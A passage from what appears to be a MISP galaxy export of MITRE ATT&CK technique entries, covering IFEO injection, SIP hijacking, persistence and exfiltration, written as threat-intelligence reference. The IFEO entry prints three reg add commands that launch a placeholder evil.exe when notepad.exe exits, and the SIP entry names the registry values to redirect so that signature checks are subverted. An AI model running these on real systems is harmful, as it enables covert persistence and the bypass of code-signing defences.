<td><a href="https://attack.mitre.org/techniques/T1431">https://attack.mitre.org/techniques/T1431</a></td>
</tr>
</tbody>
</table>

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOS can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOS are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOS can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>

<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>

<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: **misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183"**

**View relationships graph**

Image File Execution Options Injection - T1183 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

**Table 4946. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1183">https://attack.mitre.org/techniques/T1183</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview">https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit">https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit</a></td>
</tr>
</tbody>
</table>

**SIP and Trust Provider Hijacking - T1198**

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex:
a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPS July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `<code>Dll</code>` and `<code>FuncName</code>` Registry values in `<code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code>` that point to the dynamic link library (DLL) providing a SIP's `CryptSIPDllGetSignedDataMsg` function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).

- Modifying the `<code>Dll</code>` and `<code>FuncName</code>` Registry values in `<code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code>` that point to the DLL providing a SIP's `CryptSIPDllVerifyIndirectData` function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.

- Modifying the `<code>DLL</code>` and `<code>Function</code>` Registry values in `<code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy \{trust provider GUID}</code>` that point to the DLL providing a trust provider's `FinalPolicy` function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's `CryptSIPDllVerifyIndirectData` function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
• Note: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"

View relationships graph

SIP and Trust Provider Hijacking - T1198 has relationships with:

• revoked-by: `misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003"` with estimative-language:likelihood-probability="almost-certain"

Table 4947. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1198">https://attack.mitre.org/techniques/T1198</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files">https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PoCSubjectInterfacePackage">https://github.com/mattifestation/PoCSubjectInterfacePackage</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms537359.aspx">https://msdn.microsoft.com/library/ms537359.aspx</a></td>
</tr>
<tr>
<td><a href="https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf">https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf</a></td>
</tr>
</tbody>
</table>

**File and Directory Permissions Modification - T1222**

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. (Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many
techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222"

**Table 4948. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1222">https://attack.mitre.org/techniques/T1222</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html">https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmIden110">https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmIden110</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmIden100">https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmIden100</a></td>
</tr>
</tbody>
</table>

**Assess leadership areas of interest - T1224**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224).

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

Determine 3rd party infrastructure services - T1284 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260" with estimative-language:likelihood-probability="almost-certain"

From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
**Determine secondary level tactical element - T1244**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244).

The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine secondary level tactical element - T1244"`

*Table 4952. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1244">https://attack.mitre.org/techniques/T1244</a></td>
</tr>
</tbody>
</table>

**Attack PC via USB Connection - T1427**

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC (Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.

The tag is: `misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427"`

*Table 4953. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://dl.acm.org/citation.cfm?id=1920314">http://dl.acm.org/citation.cfm?id=1920314</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1427">https://attack.mitre.org/techniques/T1427</a></td>
</tr>
</tbody>
</table>

**Determine centralization of IT management - T1285**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285).

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentralizeManagement)
Determine external network trust dependencies - T1259

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259).

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)

The tag is: `misp-galaxy:mitre-attack-pattern=Determine external network trust dependencies - T1259`

Analyze organizational skillsets and deficiencies - T1297

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297).

Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

The tag is: `misp-galaxy:mitre-attack-pattern=Analyze organizational skillsets and deficiencies - T1297`

View relationships graph

Analyze organizational skillsets and deficiencies - T1297 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern=Analyze organizational skillsets and deficiencies - T1289` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern=Analyze organizational skillsets and deficiencies - T1300` with estimative-language:likelihood-probability="almost-certain"
Analyze architecture and configuration posture - T1288

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288).

An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze architecture and configuration posture - T1288"

Analyze organizational skillsets and deficiencies - T1289

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"

Analyze organizational skillsets and deficiencies - T1289 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"
Leverage compromised 3rd party resources - T1375

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

The tag is: misp-galaxy:mitre-attack-pattern="Leverage compromised 3rd party resources - T1375"

Table 4959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1375">https://attack.mitre.org/techniques/T1375</a></td>
</tr>
</tbody>
</table>

Procure required equipment and software - T1335

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335).

An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

The tag is: misp-galaxy:mitre-attack-pattern="Procure required equipment and software - T1335"

Table 4960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1335">https://attack.mitre.org/techniques/T1335</a></td>
</tr>
</tbody>
</table>

SSL certificate acquisition for domain - T1337

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337).

Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the
Certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](&lt;a href="https://www.wellsfargo.com/about/corporate/wachovia"&gt;Wachovia&lt;/a&gt;). (Citation: SubvertSSL) (Citation: PaypalScam)

The tag is: *misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for domain - T1337"*

**Confirmation of launched compromise achieved - T1383**

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Confirmation of launched compromise achieved - T1383"*

**App Delivered via Email Attachment - T1434**

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"*
App Delivered via Email Attachment - T1434 has relationships with:


### Table 4963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1434">https://attack.mitre.org/techniques/T1434</a></td>
</tr>
</tbody>
</table>

## Create or Modify System Process - T1543

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)

The tag is: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"

### Table 4964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1543">https://attack.mitre.org/techniques/T1543</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html</a></td>
</tr>
</tbody>
</table>

## Build and configure delivery systems - T1347

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347).

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited
environments. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"

Table 4965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1347">https://attack.mitre.org/techniques/T1347</a></td>
</tr>
</tbody>
</table>

Automated system performs requested action - T1384

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

The tag is: misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"

Table 4966. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1384">https://attack.mitre.org/techniques/T1384</a></td>
</tr>
</tbody>
</table>

Exfiltration Over Other Network Medium - T1438

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1438"

View relationships graph

Exfiltration Over Other Network Medium - T1438 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

Table 4967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1438">https://attack.mitre.org/techniques/T1438</a></td>
</tr>
</tbody>
</table>
Eavesdrop on Insecure Network Communication - T1439

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. (Citation: mHealth)

The tag is: `misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"`

View relationships graph

Eavesdrop on Insecure Network Communication - T1439 has relationships with:


Table 4968. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1439">https://attack.mitre.org/techniques/T1439</a></td>
</tr>
<tr>
<td><a href="https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html">https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html</a></td>
</tr>
</tbody>
</table>

Distribute malicious software development tools - T1394

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394).

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

The tag is: `misp-galaxy:mitre-attack-pattern="Distribute malicious software development tools - T1394"`

Table 4969. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1394">https://attack.mitre.org/techniques/T1394</a></td>
</tr>
</tbody>
</table>
Transfer Data to Cloud Account - T1537

Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"

Table 4970. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1537">https://attack.mitre.org/techniques/T1537</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview">https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature">https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature</a></td>
</tr>
<tr>
<td><a href="https://www.justice.gov/file/1080281/download">https://www.justice.gov/file/1080281/download</a></td>
</tr>
</tbody>
</table>

Review logs and residual traces - T1358

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358).

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

The tag is: misp-galaxy:mitre-attack-pattern="Review logs and residual traces - T1358"

Table 4971. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1358">https://attack.mitre.org/techniques/T1358</a></td>
</tr>
</tbody>
</table>
Runtime code download and execution - T1395

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"

Test malware to evade detection - T1359

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359).

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

The tag is: misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"

Replace legitimate binary with malware - T1378

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

The tag is: misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"
Compromise of externally facing system - T1388

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise of externally facing system - T1388"

Table 4975. Table References

Links

https://attack.mitre.org/techniques/T1388

Boot or Logon Initialization Scripts - T1398

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken.

The tag is: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398"

Table 4976. Table References

Links

https://attack.mitre.org/techniques/T1398


https://source.android.com/security/verifiedboot/

Boot or Logon Autostart Execution - T1547

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)

These mechanisms may include automatically executing programs that are placed in specially
designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

